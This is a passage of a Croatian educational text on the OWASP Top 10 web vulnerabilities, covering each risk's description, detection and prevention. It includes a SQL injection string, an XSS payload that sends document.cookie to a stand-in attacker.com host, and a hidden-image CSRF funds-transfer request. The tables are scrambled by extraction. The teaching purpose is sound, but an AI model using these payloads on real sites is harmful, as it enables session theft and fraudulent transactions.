• Injection propusti, kao što su SQL ili LDAP injection događaju se kada se
interpreteru pošalju nesigurni podaci kao dio naredbe ili upita. Interpreter
klijenta te podatke može takve podatke izvršiti i time pokrenuti neželjene
naredbe ili neautorizirano pristupiti podacima.
2) Cross-Site Scripting (XSS)
• XSS greške događaju se kada aplikacija uzme nesigurne podatke i proslijedi ih
web browseru bez ispravne validacije. Pomoću XSS napada omogućuje se
izvršavanje skripti na korisnikovom browseru koje mogu ukrasti korisničke
sesije, promijeniti same web stranice ili preusmjeriti korisnika na maliciozne
stranice.
3) Broken Authentication and Session Management
• Funkcije u aplikacijama koje su vezane uz autentikaciju i upravljanje sesijama
su
često
pogrešno
implementirane,
što
napadačima
omogućuje
kompromitiranje lozinki i ključeva ili iskorištavanje ostalih implementacijskih
mana kako bi se doznao korisnikov identitet.
4) Insecure Direct Object References
• Direct Object Reference javlja se kada programer izloži unutarnji objekt kao
što je datoteka, direktorij ili ključ baze podataka. Bez provjere prava pristupa
ili neke druge vrste zaštite, napadač može manipulirati tim referencama kako
bi neautorizirano pristupao podacima.
5) Cross-Site Request Forgery (CSRF)
• CSRF napad prisiljava ulogiran browser žrtve da ranjivoj web aplikaciji
pošalje krivotvoren HTTP zahtjev koji uključuje žrtvin kolačić sesije i bilo
koje druge informacije za autentikaciju. To napadaču omogućuje da prisili
žrtvin browser na generiranje zahtjeva za koje ranjiva aplikacija misli da su
valjani zahtjevi žrtve.
38
6) Security Misconfiguration
• Dobra sigurnost zahtijeva sigurnu konfiguraciju za aplikacije, aplikacijske
servere, web servere te servere baze podataka. Sve te konfiguracije trebaju biti
definirane, implementirane i održavane. To uključuje i redovitu nadogradnju
svog softvera.
7) Insecure Cryptographic Storage
• Mnoge web aplikacije ne zaštićuju osjetljive podatke (npr. informacije o
kreditnim karticama ili informacije o autentikaciji) na ispravan način, sa
prikladnom enkripcijom ili hashiranjem. Napadači mogu ukrasti ili promijeniti
tako slabo zaštićene podatke da nekome ukradu identitet, kreditnu karticu i
slično.
8) Failure to Restrict URL Access
• Mnoge web aplikacije provjeravaju URL prava pristupa prije uključivanja
zaštićenih linkova ili buttona. No aplikacije trebaju vršiti istu provjeru i svaki
puta kada se pristupa takvim stranicama, jer napadač inače može krivotvoriti
URL da pristupi tim stranicama i bez linkova prikazanih na ekranu.
9) Insufficient Transport Layer Protection
• Aplikacije često ne uspijevaju zaštititi povjerljivost i integritet osjetljivog
mrežnog prometa. A kada ga i štite, to se ponekad vrši slabim algoritmima,
isteklim ili nevaljanim certifikatima, ili pogrešnom implementacijom.
10) Unvalidated Redirects and Forwards
• Web aplikacije često preusmjeravaju ili prosljeđuju korisnike na druge
stranice i web mjesta te koriste neprovjerene podatke kako bi utvrdile
odredišne stranice. Zbog nedovoljne provjere, napadač može preusmjeriti
žrtve na phishing ili malware stranice ili koristiti preusmjeravanje kako bi
neautorizirano pristupio stranicama.
39
4.1.2.1. Injection - Injekcija
Opis
Tablica 4.3. Opis injekcije (engl. injection)
Potencijalni
napadači
Težina
napada
Učestalost
propusta
Detekcija
propusta
Srednje
Lak
Uobičajen
teška
Injection pogreške
Trebaju se
Napadač
događaju se kada
razmotriti svi
šalje
korisnici
jednostavne aplikacija pošalje
nepovjerljive podatke
sustava koji
tekstualne
interpreteru. Ovakvi
mogu slati
napade koji
nepovjerljive
iskorištavaju propusti su vrlo
sintaksu
učestali, posebno u
podatke
korisnikovog legacy sustavima, a
sustavu,
interpretera. često se mogu naći u
uključujući
SQL, LDAP i XPath
vanjske i
upitima, OS
unutarnje
naredbama,
korisnike, kao
argumentima programu
i
i sl. Ovakvi propusti
administratore.
lako se nađu
pregledavanjem koda,
ali teže kroz testiranje.
Tehnički
utjecaj
Utjecaj na
djelatnost
Ozbiljan
-
Injection
može
rezultirati
gubitkom ili
promjenom
podataka te
zabranom
pristupa.
Ponekad
može
dovesti do
potpunog
preuzimanja
od strane
napadača.
Svi podaci
mogu biti
ukradeni,
modificirani
ili izbrisani.
Provjera ranjivosti
Najbolji način za provjeru da li je neka aplikacija ranjiva na napad injekcijom je
provjeriti sve upotrebe interpretera tako se osigura da one odvajaju nepovjerljive
podatke od naredbi ili upita.
Provjera koda je brz i točan način da se vidi da li aplikacija koristi interpretere na
siguran način. Alati za analizu koda mogu pomoći analitičaru da pronađe uporabe
interpretera. Kod penetracijskog testiranja te uporabe se mogu testirati.
Automatski skeneri za testiranje sigurnosti aplikacija nekad ne mogu doći do
interpretera i teško im je detektirati da li je napad bio uspješan, pa se preporuča ručno
testiranje koda.
40
Sprječavanje ranjivosti
Da bi se ovakav napad spriječio treba nesigurne podatke držati odvojenim od naredbi
i upita.
Najbolja opcija je koristiti siguran API koji u potpunosti izbjegava interpreter ili pruža
parametrizirano sučelje. Kod API-a kao što su pohranjene procedure treba biti
oprezan, jer iako su parametrizirani, još uvijek u implementaciji mogu biti ranjivi na
napad injekcijom.
Kada parametrizirani API-i nisu dostupni, treba pažljivo maknuti specijalne znakove
iz upita pri tome pazeći na specifičnosti sintakse samog interpretera.
„White list“ validacija ulaza se također preporuča no to nije potpuni način obrane jer
mnoge aplikacije zahtijevaju specijalne znakove kao ulaz.
Primjer napada
Napad se može realizirati kada aplikacija koristi nesigurne podatke u konstrukciji
ranjivog SQL upita, kao što je upit u sljedećem primjeru:
String query = "SELECT * FROM accounts WHERE custID='" +
request.getParameter("id") +"'";
Napadač kod slanja „id“ parametra preko browsera šalje sljedeće:
' or '1'='1
Zbog toga upit neće vratiti samo zapis sa jednim računom, već sve zapise (račune) iz
baze. U najgorem slučaju, napadač ovu slabost može iskoristiti kako bi pozvao
specijalnu pohranjenu proceduru u bazi podataka koja omogućuje preuzimanje baze
podataka ili čak cijelog servera na kojem se baza podataka nalazi.
41
4.1.2.2. Cross-Site Scripting (XSS)
Opis
Tablica 4.4. Opis Cross-Site Scripting (XSS)
Potencijalni
napadači
Težina
napada
-
Srednje
težak
Trebaju se
razmotriti svi
korisnici
sustava koji
mogu slati
nepovjerljive
podatke
sustavu,
uključujući
vanjske i
unutarnje
korisnike, kao
i
administratore
.
Napadač
šalje
jednostavne
tekstualne
skripte koje
iskorištavaj
u interpreter
u browseru.
Učestalost
propusta
Detekcij
a
propusta
Jako
Laka
rasprostranje
n
XSS je najrasprostranjeniji
sigurnosni propust u web
aplikacijama. XSS propust
se dogodi kada aplikacija
uključi podatke koje je
poslao korisnik u stranicu
za browser bez validacije
tog sadržaja. Detekcija
XSS propusta je
jednostavna kroz testiranje
i analizu koda.
Tehnički
utjecaj
Utjecaj
na
djelatnos
t
Umjeren
-
Napadač
može
izvršiti
skriptu u
browseru
korisnika
kako bi
ukrao
njegovu
sesiju,
promijenio
samu
stranicu,
umetnuo
neželjeni
sadržaj,
preusmjeri
o
korisnika,
preuzeo
browser
korištenje
m
malwarea,
itd.
U obzir
treba
uzeti
poslovnu
vrijednost
ugroženo
g sustava
i svih
podataka
koji njime
kolaju.
Također
treba
proučiti
utjecaj
javnog
izlaganja
propusta.
Provjera ranjivosti
Treba osigurati da su svi podaci od korisnika koji se šalju natrag browseru provjereni i
sigurni (kroz validaciju), a korisnički input treba i escapirati prije nego se uključi u
42
stranicu. Propisni encoding osigurava da se takav izlaz interpretira kao tekst u
browseru, a ne kao kod koji bi se mogao izvršiti.
I statički i dinamički alati mogu pronaći XSS probleme, no zbog specifičnosti
aplikacija i pojedinih tehnologija kao što su JavaScript, ActiveX, Silverlight ili Flash
automatska detekcija je otežana. Zbog toga se za kompletnu provjeru preporuča
kombinacija ručnog pregledavanja koda i penetracijskog testiranja. Web 2.0
tehnologije kao što su AJAX također otežavaju otkrivanje XSS propusta kroz
automatsko testiranje.
Sprečavanje ranjivosti
Kod sprječavanja XSS-a treba nesigurne podatke držati odvojenim od aktivnog
sadržaja browsera.
Preporučena opcija je ispravno eskapirati sav nesiguran sadržaj s obzirom na HTML
kontekst (body, atribut, JavaScript, CSS ili URL) u kojeg će se taj sadržaj smjestiti.
To trebaju osigurati programeri.
White list validacija se isto preporuča ali nije sigurna obrana jer mnoge aplikacije
moraju prihvaćati specijalne znakove.
Primjer napada
Aplikacija koristi nesigurne podatke u izgradnji sljedećeg HTML koda bez validacije
ili eskapiranja:
(String)
page
+=
"<input
name='creditcard'
type='TEXT‘value='"
+
request.getParameter("CC") + "'>";
Napadač modificira parametar „CC“ na sljedeći kod:
'><script>document.location='http://www.attacker.com/cgibin/cookie.cgi?foo='+document.cookie</script>'
Rezultat napada je da se žrtvin ID sesije pošalje na napadačevu web stranicu, što
napadaču omogućuje da koristi korisnikovu trenutnu sesiju. XSS napad se može
iskoristiti i za zaobilaženje CSRF obrana (sigurnosni propust 5).
43
4.1.2.3. Broken Authentication and Session Management – Loše upravljanje
autentikacijom i sesijama
Opis
Tablica 4.5. Opis lošeg upravljanja autentikacijom i sesijama
Potencijalni
napadači
Anonimni
vanjski
napadači,
kao i
korisnici sa
svojim
računima
koji mogu
pokušati
ukrasti račun
od drugih
korisnika.
Također i
korisnici u
sustavu koji
žele sakriti
svoje akcije.
Težina
napada
Srednje
teška
Napadač
koristi
propuste u
autentikaciji
ili
upravljanju
sesijama
(izložene
račune,
lozinke, ID
sesija) kako
bi se
predstavio
kao neka
druga osoba.
Učestalost
propusta
Detekcija
propusta
Srednje
Uobičajen
teška
Programeri često
razvijaju vlastite sustave
za autentikaciju i
upravljanje sesijama, a
pravilno razvijanje
takvih sustava je teško.
Kao rezultat, ovakvi
sustavi često imaju
greške u funkcijama za
logout, upravljanje
lozinkama, tajnim
pitanjima, „zapamti me“
opcijama, ažuriranju
računa i slično.
Pronalaženje takvih
mana ponekad je teško
zbog specifičnosti svake
implementacije.
Tehnički
utjecaj
Utjecaj na
djelatnost
Ozbiljan
-
Ovakav
napad može
dovesti do
napada na
neki ili čak
sve
korisničke
račune. Kod
uspješnog
napada,
napadač
može sve
što i žrtva
čiji je račun
ukraden.
Zbog toga
su
privilegirani
računi česta
meta.
U obzir
treba uzeti
poslovnu
vrijednost
ugroženog
sustava, svih
podataka
koji njime
kolaju i
aplikacijskih
funkcija.
Također
treba
proučiti
utjecaj
javnog
izlaganja
propusta.
Provjera ranjivosti
Primarne stvari koje se moraju štititi su akreditivi i ID sesija. Razmotriti sljedeća
pitanja:
1. Jesu li akreditivi uvijek zaštićeni koristeći hashiranje ili enkripciju? Vidjeti
rizik broj 7.
2. Mogu li akreditivi biti pogođeni ili prebrisani korištenjem slabih funkcija za
upravljanje računima (npr. kreiranje računa, promjena lozinke, vraćanje
izgubljene lozinke, slabi ID sesije…)
3. Jesu li ID-evi sesije izloženi u URL-u?
44
4. Jesu li ID-evi ranjivi na napad fiksiranjem sesije?
5. Da li ID-evi sesija ističu i mogu li se korisnici odlogirati?
6. Da li se ID-evi mijenjaju nakon uspješnog logina?
7. Da li se lozinke, ID-evi sesija i ostali akreditivi šalju samo preko TLS veza?
Sprječavanje ranjivosti
Primarna preporuka je da organizacija programerima pruži jedinstven set jakih
sustava za upravljanje autentikacijom i sesijama. Uz to, velik napor treba uložiti u
sprječavanje XSS napada koji se mogu iskoristiti za krađu ID-a sesije.
Primjer napada
Kod primjera napada imamo tri moguća scenarija:
1) Neka stranica stavlja ID sesije u URL, npr:
http://example.com/sale/saleitems;jsessionid=2P0OC2JDPXM0OQSNDLPSKHCJU
N2JV?dest=Hawaii
Autoriziran korisnik želi prijatelju dojaviti o ovom putovanju. On pošalje prijatelju
navedeni link bez znanja da mu je dao i svoj ID sesije. Njegov prijatelj tada može
preko ID-a sesije iskoristiti njegovu sesiju ili kreditnu karticu.
2) Timeout aplikacija nije pravilno podešen. Korisnik na nekom javnom računalu se
logira na neku stranicu, a kada odlazi ne odabire opciju „logout“ nego samo zatvara
browser. Napadač može koristiti isto računalo i browser sat vremena kasnije te
pristupiti računu prethodnog korisnika.
3) Unutarnji ili vanjski napadač dobije pristup bazi podataka u kojoj su spremljene
lozinke. Ako one nisu kriptirane, lozinke svih korisnika su jasno vidljive napadaču.
45
4.1.2.4. Insecure Direct Object References – Nesigurne direktne reference na
objekte
Opis
Tablica 4.6. Opis nesigurne direktne reference na objekte
Potencijalni
napadači
Treba
razmotriti
tipove
korisnika
sustava. Da
li bilo koji
korisnici
imaju samo
djelomični
pristup
pojedinim
tipovima
sistemskih
podataka?
Težina
napada
Lak
Napadač
koji je
autoriziran
korisnik
sustava
jednostavno
promijeni
parametar
koji ga
direktno
referira na
neki
sistemski
objekt na
drugi objekt
za kojeg
nije
autoriziran.
Učestalost Detekcija
propusta
propusta
Uobičajen
Laka
Aplikacije često koriste
stvarna imena ili
ključeve objekata kada
generiraju web stranice.
One ne provjeravaju
uvijek da li je korisnik
autoriziran za korištenje
ciljnog objekta. Testeri
mogu lako promijeniti
vrijednosti parametara
kako bi uočili takve
propuste, a analiza koda
brzo pokazuje da li se
autorizacija propisno
vrši za svaki objekt.
Tehnički
utjecaj
Umjeren
Ovakav
propust može
kompromitirati
sve podatke
koji su
referencirani
preko
parametra.
Utjecaj na
djelatnost
Treba
razmotriti
poslovnu
vrijednost
podataka,
kao i
utjecaj
javnog
izlaganja
propusta.
Provjera ranjivosti
Najbolji način za utvrđivanje da li je aplikacija ranjiva na ovu vrstu napada je
provjeriti sve da sve reference na objekte imaju propisne obrane. Da bi se to postiglo
treba razmotriti:
1. Za direktne reference zaštićenim resursima, aplikacija treba provjeriti da je
korisnik autoriziran za pristup točno tom resursu kojeg on traži.
2. Za indirektne reference, mapiranje na direktne reference se mora ograničiti na
vrijednosti koje su dozvoljene za autoriziranog korisnika.
Pregledavanjem koda aplikacije može se utvrditi da li su oba ova pristupa pravilno
implementirana. Testiranje je također učinkovito za uočavanje ovakvih propusta.
46
Automatizirani alati obično ne traže ovakve propuste jer ne znaju što je sigurno ili
nesigurno i koji resurs zahtijeva zaštitu a koji ne.
Sprječavanje ranjivosti
Sprječavanje zahtijeva pristup za zaštitu svakog objekta koji je dostupan korisniku
(npr. brojevi objekata ili imena datoteka). To se može izvršiti preko:
1. Korištenje po korisniku ili po sesiji indirektnih referenca na objekte. Ovo
sprječava napadača da direktno pristupi neautoriziranom resursu. Na primjer,
umjesto da se korisniku ponudi lista ključeva prema resursima, ponude mu se
brojevi od 1 do 6 kako bi odabrao resurs. Nakon toga aplikacija mapira
korisnikovu indirektnu referencu na stvarni ključ u bazi podataka.
2. Provjera prava pristupa. Svako korištenje direktne reference na objekt mora
uključiti i provjeru prava pristupa kako bi se osiguralo da je korisnika
autoriziran za pristup željenom objektu.
Primjer napada
Aplikacija koristi neprovjerene podatke u SQL pozivu koji pristupa korisničkim
informacijama:
String query = "SELECT * FROM accts WHERE account = ?";
PreparedStatement pstmt=connection.prepareStatement(query , … );
pstmt.setString( 1, request.getParameter("acct"));
ResultSetresults = pstmt.executeQuery( );
Napadač modificira „acct“ parametar u svome browseru kako bi poslao bilo koji broj.
Ako se ne izvrši verifikacija, napadač može pristupiti računu bilo kojeg korisnika, a
ne samo svojem (kojem bi trebao pristupiti).
http://example.com/app/accountInfo?acct=nijeMojRacun
47
4.1.2.5. Cross-Site Request Forgery (CSRF)
Opis
Tablica 4.7. Opis CSRFmetode
Potencijalni
napadači
Težina
napada
Srednje
težak
Treba
Napadač
razmotriti
šalje
sve koji
krivotvorene
mogu
HTTP
prevariti
zahtjeve i
korisnika
prevari
aplikacije da žrtvu na
pošalje
slanje istih
zahtjev na
putem
našu web
tagova za
stranicu. To slike, XSS-a
je moguće
ili brojnih
kroz bilo
drugih
koju HTML tehnika.
stranicu
Ako je
kojoj
korisnik
korisnik
autoriziran,
može
napad je
pristupiti.
uspješan.
Učestalost
propusta
Detekcija
propusta
Tehnički
utjecaj
Utjecaj na
djelatnost
Rasprostranjen
Laka
Umjeren
-
Napadači
mogu
promijeniti
bilo koji
podatak ili
izvršiti bilo
koju
operaciju
za koju je
napadnuti
autorizirani
korisnik
ovlašten.
Treba
razmotriti
vrijednost
podataka ili
aplikacijskih
funkcija.
CSRF iskorištava web
aplikacije koje napadaču
dozvoljavaju predviđanje
svih detalja određenih
akcija. Pošto browseri
šalju akreditive kao
kolačiće sesija automatski,
napadači mogu kreirati
maliciozne web stranice
koje generiraju lažirane
zahtjeve koji se ne mogu
razlikovati od legitimnih.
Detekcija ovih mana je
laka putem penetracijskog
testiranja ili analize koda.
Provjera ranjivosti
Najlakši način za provjeru ranjivosti na CSRF napad je provjera da li svaki link i
forma sadrže nepredvidljiv token za svakoga korisnika. Bez takvih tokena koji se ne
mogu predvidjeti, napadač može krivotvoriti maliciozne zahtjeve na stranicu. Kod
provjere se treba usredotočiti na linkove i forme koje izazivaju funkcije promjene
stanja, jer su to najvažniji ciljevi CSRF napada.
Treba obratiti pažnju na to da ni kolačići sesije, izvorišne IP adrese i ostale
informacije koje browser automatski šalje ne mogu puno pomoći jer napadač i te
informacije može uključiti u krivotvorene zahtjeve.
48
Sprječavanje ranjivosti
Sprječavanje CSRF-a zahtijeva uključivanje nepredvidljivih tokena u tijelo ili URL
svakog HTTP zahtjeva. No takvih tokeni bi trebali biti jedinstveni barem prema
korisničkoj sesiji, ali mogu biti jedinstveni i po zahtjevu.
1. Preferirana opcija je da se jedinstveni token uključi u sakriveno polje. Kod
takvog načina ta vrijednost se šalje u tijelu HTTP zahtjeva te se izbjegava
uključivanje u URL, koji može biti izložen napadaču.
2. Jedinstveni token može biti uključen i u sam URL ili kao parametar URL-a.
No kod takvog pristupa riskira se da će URL biti izložen napadaču, a tako bi
se kompromitirao i sam token.
OWASP-ov CSRF Guard se može koristiti kako bi automatski uključio takve tokene u
Java, .NET ili PHP aplikacije. Također, OWASP-ov ESAPI uključuje generatore
tokena i validatore koje programeri mogu koristiti kako bi zaštitili svoje transakcije.
Primjer napada
Aplikacija „dozvoli“ korisniku da pošalje zahtjev za promjenom stanja koji ne
uključuje nikakvu tajnu (token). Primjer takvog zahtjeva je sljedeći:
http://example.com/app/transferFunds?amount=1500&destinationAccount=4673243
243
Napadač napravi zahtjev koji će prebaciti novac sa žrtvinog računa na svoj račun, te
takav zahtjev ugradi u razna polja (slike, iframe) koji su na stranicama pod
napadačevom kontrolom.
<img
src="http://example.com/app/transferFunds?amount=1500&destinationAccount=att
ackersAcct#“ width="0" height="0" />
Ako žrtva napada posjeti bilo koju takvu napadačevu stranicu dok je istovremeno
autoriziran na stranici s ranjivom aplikacijom (ovdje example.com), svaki
krivotvoreni zahtjev će sadržavati i korisnikove podatke o sesiji (koje browser šalje
automatski), što će uzrokovati neželjeno odobravanje zahtjeva.
49
4.1.2.6. Security Misconfiguration – Kriva konfiguracija sustava sigurnosti
Opis
Tablica 4.8. Opis krive konfiguracije sustava sigurnosti
Potencijalni
napadači
Treba
razmotriti
anonimne
eksterne
napadače kao
i korisnike s
računima koji
bi mogli
pokušati
kompromitira
ti sustav.
Razmotriti i
korisnike u
sustavu koji
žele sakriti
svoje akcije.
Težina
napada
Učestalos
t
propusta
Detekcij
a
propust
a
Uobičaje
Laka
n
Napadač
Propust u
pristupa
sigurnosnom sustavu
računima,
može se desiti u bilo
nekorišteni
kojem sloju
m
aplikacije.
stranicama, Programeri i
nepokrpani
administratori mreže
m manama, moraju raditi zajedno
nezaštićeni
kako bi osigurali da
m
su svi slojevi
datotekama i pravilno
direktorijim konfigurirani i
a i sl. kako
osigurani.
bi dobio
Automatski skeneri
neautorizira su korisni za
ni pristup ili detekciju zakrpi koje
prikupio
nedostaju,
znanje o
nepropisne
sustavu.
konfiguracije,
korištenje
dodijeljenih
(defaultnih) računa,
nepotrebnih servisa i
sl.
Lak
Tehnički
utjecaj
Utjecaj na
djelatnost
Umjeren
-
Ovakvi napadi
napadačima
često daju
neautoriziran
pristup nekim
sistemskim
podacima ili
funkcionalnost
i. Rjeđe
rezultiraju
preuzimanjem
cijelog sustava
od strane
napadača.
Cijeli sustav
može biti
kompromitira
n bez znanja
vlasnika. Svi
podaci mogu
biti ukradeni
ili polako
mijenjani
tijekom
vremena.
Oporavak od
štete može
biti skup.
Provjera ranjivosti
Da li je provedeno sigurnosno očvršćivanje kroz sve aplikacijske slojeve? Pitanja koja
se trebaju postaviti su:
50
1. Da li postoji proces za održavanje svog softvera ažuriranim? To uključuje
operacijske sustave, web i aplikacijske servere, sustave za upravljanje bazom
podataka, aplikacije i sve knjižnice koda.
2. Da li je sve nepotrebno onemogućeno, maknuto ili deinstalirano (portovi,
servisi, računi, privilegije…)
3. Da li su defaultne lozinke računa promijenjene ili onemogućene?
4. Da li je rukovanje pogreškama podešeno tako da se onemogući prikazivanje
previše informativnih pogrešaka koje bi napadaču dale uvid u rad sustava?
5. Jesu li sigurnosne postavke u razvojnom okruženju poznate i pravilno
konfigurirane?
Potreban je usklađen i iteracijski pristup procesu razvoja kako bi se razvile i održavale
pravilne sigurnosne konfiguracije.
Sprječavanje ranjivosti
Primarne preporuke su uspostavljanje svih navedenih točaka:
1. Iterativni proces učvršćivanja preko kojeg se lako i brzo može u rad pustiti
novo okruženje koje je pravilno podešeno. Razvoj, osiguranje kvalitete i
produkcijska okruženja bi trebali biti konfigurirani na isti način. Ovaj proces
trebao bi biti automatiziran kako bi se minimizirao napor potreban za
podešavanje novog sigurnog okruženja.
2. Proces za održavanje paralelnim i puštanje u rad svih novih sigurnosnih zakrpi
u kratkom roku, i to svakom postavljenom okruženju.
3. Snažna arhitektura aplikacija koja pruža dobro odvajanje i sigurnost između
komponenti.
4. Periodička skeniranja i revizije kako bi se pomoglo u otkrivanju budućih
pogrešaka u konfiguraciji ili zakrpe koje nedostaju.
Primjer napada
Scenarij 1: Naša aplikacija ovisi o nekom snažnom frameworku kao što je Struts ili
Spring. XSS mane su otkrivene u tom frameworku. One su otkrivene i objavljena je
zakrpa, no mi ne ažuriramo svoje knjižnice koda. Sve dok se te zakrpe ne apliciraju i
na naš kod, napadač lako može pronaći i iskoristiti mane u našoj aplikaciji.
51
Scenarij 2: Administratorska konzola na aplikacijskom serveru je automatski
instalirana i nije uklonjena. Defaultni računi nisu promijenjeni. Ako napadač otkrije
da su te standardne administratorske postavke na serveru, može se ulogirati sa
defaultnom lozinkom i preuzeti sustav.
Scenarij 3: Izlistavanje direktorija nije onemogućeno na serveru. Napadač otkrije da
jednostavno može izlistati direktorije kako bi pronašao bilo koju datoteku na sustavu.
On pronalazi i skida sve kompilirane Java klase, otkriva ih i doznaje sav kod
aplikacije. Tada, na primjer, pronalazi ozbiljnu manu u kodu aplikacije koju može
dalje iskoristiti.
Scenarij 4: Konfiguracija aplikacijskog servera dozvoljava da detaljne informacije o
pogreškama dospiju do korisnika. Napadači takve dodatne informacije vole iskoristiti
kako bi otkrili dublji uzrok problema.
52
4.1.2.7. Insecure Cryptographic Storage – Nesigurna kriptografska pohrana
Opis
Tablica 4.9. Opis nesigurne kriptografske pohrane
Potencijalni
napadači
Razmotriti
korisnike
sustava. Da li
bi željeli
dobiti pristup
informacijam
a za koje nisu
autorizirani?
Razmotriti i
unutarnje
administratore
.
Težina
napada
Težak
Napadači
obično ne
razbijaju
kriptografij
u. Obično
pronađu
ključeve,
dobiju
kopije
izvornog
teksta
podataka ili
pristup kroz
kanale koji
se
automatski
dekriptiraju
.
Učestalost
Detekcija
propusta
propusta
Neuobičajen
Teška
Najčešći propust u ovom
području je izostanak
kriptiranja podataka koji bi
svakako trebali biti kriptirani.
Kada se enkripcija i primijeni,
nesigurni ključevi i njihova
pohrana, izostanak mijenjanja
ključeva ili slabi algoritmi su
česta pojava. Uporaba slabih
hasheva za zaštitu lozinki je
također česta. Vanjskim
napadačima je obično teško
iskoristiti takve propuste zbog
slabog pristupa, pa obično
prvo pronalaze neki drugi
propust kako bi dobili
potreban pristup.
Tehnički
utjecaj
Ozbiljan
Kompromitir
ani su svi
podaci koji bi
trebali biti
kriptirani.
Obično su to
osjetljivi
podaci kao
što su
akreditivi,
osobni
podaci,
informacije o
kreditnim
karticama i
slično.
Utjecaj na
djelatnost
Treba
razmotriti
vrijednost
podataka i
utjecaj na
ugled.
Vidjeti i koje
su zakonske
posljedice
izlaganja
osjetljivih
podataka.
Provjera ranjivosti
Prvo treba utvrditi koji podaci su dovoljno osjetljivi da bi zahtijevali kriptiranje.
Primjeri su lozinke, informacije o kreditnim karticama, osobne informacije i slično.
Za sve takve podatke treba osigurati:
1. Da su kriptirani svuda gdje se spremaju na duže vrijeme, posebno u backupu
ovakvih podataka
2. Samo autorizirani korisnici mogu vidjeti dekriptirane kopije ovih podataka
3. Koristi se snažan i standardan algoritam kriptiranja
4. Generiran je snažan ključ, koji je zaštićen od neautoriziranog pristupa, a
planira se i izmjena ključeva
53
Sprječavanje ranjivosti
Pune opasnosti i načini sprječavanja ovih propusta su jako opširni, pa bi za sve
osjetljive podatke koji trebaju biti kriptirani trebalo kao minimum osigurati barem
sljedeće:
1. Razmotriti sve prijetnje od kojih se planiraju štititi podaci kriptiranjem
(unutarnji napadi, vanjski korisnici…), te osigurati da se svi potrebni podaci
kriptiraju na način da se zaštite od tih prijetnji
2. Osigurati da su kopije (backupi) podataka kriptirani, ali da se njihovi ključevi
održavaju i backupiraju zasebno
3. Osigurati prikladne snažne standardne algoritme i snažne ključeve te
upravljanje ključevima
4. Osigurati da su lozinke hashirane snažnim standardnim algoritmom
5. Osigurati da su svi ključevi i lozinke zaštićeni od neautoriziranog pristupa
Primjer napada
Scenarij 1: Aplikacija kriptira informacije o kreditnim karticama u bazu podataka
kako bi spriječila njihovo izlaganje krajnjim korisnicima. No baza podataka je
podešena da automatski dekriptira upite na te stupce, što omogućuje SQL injection
napad kojim se sve takve informacije mogu dobiti dekriptirane. Sustav bi trebao biti
konfiguriran tako da samo back end aplikacije mogu dekriptirati te podatke, a ne front
end web aplikacije.
Scenarij 2: Backup vrpca je načinjena od kriptiranih podataka, no ključ kriptiranja je
na istom backupu.
Scenarij 3: Baza podataka s lozinkama koristi nesigurni hash kako bi ih pohranila.
Pogreška u aplikaciji kod uploada datoteke omogućuje napadaču da dobije datoteku s
lozinkama. Kod nesigurnih hasheva napadaču je za napad grubom silom potrebno oko
četiri tjedna, dok bi mu kod sigurnog hasha trebalo preko 3000 godina.
54
4.1.2.8. Failure to Restrict URL Access – Neuspjelo ograničavanje URL pristupa
Opis
Tablica 4.10. Opis neuspjelog ograničavanja URL pristupa
Potencijalni
napadači
Težina
napada
-
Lak
Svi sa
mrežnim
pristupom
aplikaciji
mogu slati
zahtjeve. Da
li anonimni
korisnici
mogu
pristupiti
privatnim
stranicama ili
uobičajeni
korisnici
privilegirani
m
stranicama?
Napadač
koji je
autorizirani
korisnik
sustava lako
može
promijeniti
URL na
neku
privilegiran
u stranicu.
Da li mu je
pristup
omogućen?
Anonimni
korisnici
mogu
pristupiti
privatnim
stranicama
koje nisu
zaštićene.
Učestalost
propusta
Detekcij
a
propusta
Neuobičaje
Srednje
n
teška
Aplikacije ne štite
uvijek zahtjeve na
stranice na ispravan
način. Ponekad je URL
zaštita upravljana
konfiguracijom no ona
nije dobro podešena.
Ponekad programeri
moraju uključiti
provjeru u kodu ali
zaborave.
Otkrivanje takvih mana
je lako. Najteže je
otkriti koje stranice
(URL-i) postoje za
napad.
Tehnički
utjecaj
Utjecaj
na
djelatnos
t
Umjeren
-
Ovakvi
propusti
dozvoljavaju
napadaču
pristup
neautoriziranoj
funkcionalnosti
.
Administrativn
e akcije su
ključne mete za
ovakve napade.
Razmotrit
i
poslovnu
vrijednost
izloženih
funkcija i
podataka
koje one
obrađuju.
Također
razmotriti
utjecaj na
ugled ako
se za
ranjivost
dozna u
javnosti.
Provjera ranjivosti
Najbolji način za otkrivanje ovih pogrešaka je provjeriti svaku stranicu. Za svaku
stranicu treba razmotriti da li ona treba biti javna ili privatna. Ako stranica treba biti
privatna:
1. Da li je potrebna autentifikacija kako bi se pristupilo toj stranici?
55
2. Da li bi trebala biti dostupna svakom autoriziranom korisniku? Ako ne, da li se
vrši autorizacijska provjera kako bi se utvrdilo da korisnik ima potrebna prava
kako bi pristupio stranici?
Vanjski sigurnosni mehanizmi često pružaju autentikacijske i autorizacijske provjere
za pristup stranicama. Provjeriti da su pravilno konfigurirani za svaku stranicu.
Provjera za ovakvu vrstu propusta može se vršiti i putem penetracijskog testiranja.
Sprječavanje ranjivosti
Sprječavanje neautoriziranog pristupa putem URL-a zahtijeva odabir pristupa za
ispravnu autentikaciju i autorizaciju za svaku stranicu. Često je takva zaštita pružana
preko vanjskih komponenti. Bez obzira na mehanizam zaštite, sve sljedeće zaštite su
preporučene:
1. Autorizacijske i autentikacijske politike trebaju biti bazirane na ulogama kako
bi se smanjio napor potreban za održavanje tih politika.
2. Politike bi trebale biti visoko konfigurabilne.
3. Mehanizmi bi po zadanim (defaultnim) postavkama trebali sprječavati sav
pristup i zahtijevati eksplicitna prava za pojedine korisnike i uloge, i to za
pristup svakoj stranici.
Primjer napada
Napadač jednostavno „natjera“ browser na neki ciljni URL. Razmotrimo dva URL-a
koji oba zahtijevaju autentikaciju. Administratorske ovlasti su potrebne kako bi se
pristupilo „admin_getAppInfo“ stranici.
http://example.com/app/getappInfo
http://example.com/app/admin_getappInfo
Ako napadač nije autoriziran a dozvoli mu se pristup do bilo koje navedene stranice,
to je propust jer se dozvolio neautorizirani pristup. Ako autenticirani korisnik, ali bez
administratorskih prava može pristupiti „admin_getAppInfo“ stranici, ovo je također
propust, a napadač bi mogao tražiti još administratorskih stranica koje su nepravilno
zaštićene.
56
Takvi propusti se često događaju kada se linkovi za pristup neautoriziranim
korisnicima jednostavno sakriju, a ciljne stranice su nepropisno zaštićene.
4.1.2.9. Insufficient Transport Layer Protection – Nedovoljna zaštita na razini
transportnog sloja
Opis
Tablica 4.11. Opis nedovoljne zaštite na razini transportnog sloja
Potencijaln
i napadači
Razmotriti
sve koji
mogu pratiti
mrežni
